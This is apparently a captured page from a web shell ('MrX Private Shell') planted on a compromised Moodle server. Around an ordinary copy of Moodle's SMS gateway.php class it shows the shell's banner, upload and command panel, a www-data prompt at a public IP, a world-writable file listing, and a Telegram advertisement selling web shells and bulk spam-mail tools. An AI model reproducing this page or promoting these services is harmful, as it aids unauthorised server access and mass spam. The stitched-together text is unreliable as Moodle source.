__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
<?php
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

namespace core_sms;

use coding_exception;
use Spatie\Cloneable\Cloneable;
use stdClass;

/**
 * Class gateway.
 *
 * @package    core_sms
 * @copyright  2024 Andrew Lyons <andrew@nicols.co.uk>
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 * @property-read int $id The id of the gateway in the database
 * @property-read bool $enabled Whether the gateway is enabled
 * @property-read stdClass $config The configuration for this instance
 * @property string $name The name of the gateway config
 */
abstract class gateway {
    use Cloneable;

    /** @var stdClass The configuration for this instance */
    public readonly stdClass $config;

    /**
     * Create a new gateway.
     *
     * @param bool $enabled Whether the gateway is enabled
     * @param string $name The name of the gateway config
     * @param string $config The configuration for this instance
     * @param int|null $id The id of the gateway in the database
     */
    public function __construct(
        /** @var bool Whether the gateway is enabled */
        public readonly bool $enabled,
        /** @var string The name of the gateway config */
        public string $name,
        string $config,
        /** @var null|int The ID of the gateway in the database, or null if it has not been persisted yet */
        public readonly ?int $id = null,
    ) {
        $this->config = json_decode($config);
    }

    /**
     * Convert this object to a stdClass.
     *
     * @return stdClass
     */
    public function to_record(): stdClass {
        return (object) [
            'id' => $this->id,
            'name' => $this->name,
            'gateway' => get_class($this),
            'enabled' => $this->enabled,
            'config' => json_encode($this->config),
        ];
    }

    /**
     * Send the given message.
     *
     * @param message $message
     * @return message
     */
    abstract public function send(message $message): message;

    /**
     * Confirm whether this gateway can send the given message.
     *
     * @param message $message
     * @return bool
     */
    public function can_send(message $message): bool {
        return $this->get_send_priority($message) > 0;
    }

    /**
     * Get the priority of this gateway for sending the given message.
     *
     * A priority of 0 means that the gateway cannot send the message.
     * Higher values are higher priority.
     *
     * This method is called frequently, so should be fast.
     * If calculation is expensive the value should be cached.
     *
     * @param message $message
     * @return int
     */
    abstract public function get_send_priority(message $message): int;

    /**
     * Update the status of the given message from the gateway.
     *
     * @param message $message
     * @return message
     * @throws coding_exception
     */
    public function update_message_status(message $message): message {
        if ($message->gatewayid !== $this->id) {
            throw new \coding_exception('This gateway cannot update the status of this message');
        }

        return $message;
    }

    /**
     * Update the statuses of the given messages from the gateway.
     *
     * @param message[] $messages
     * @return message[]
     */
    public function update_message_statuses(array $messages): array {
        return array_map([$this, 'update_message_status'], $messages);
    }
}

Filemanager

Name Type Size Permission Actions
external Folder 0777
form Folder 0777
hook Folder 0777
privacy Folder 0777
table Folder 0777
description.php File 985 B 0777
gateway.php File 4.02 KB 0777
manager.php File 13.39 KB 0777
message.php File 6.14 KB 0777
message_status.php File 2.88 KB 0777
status.php File 1.64 KB 0777
Filemanager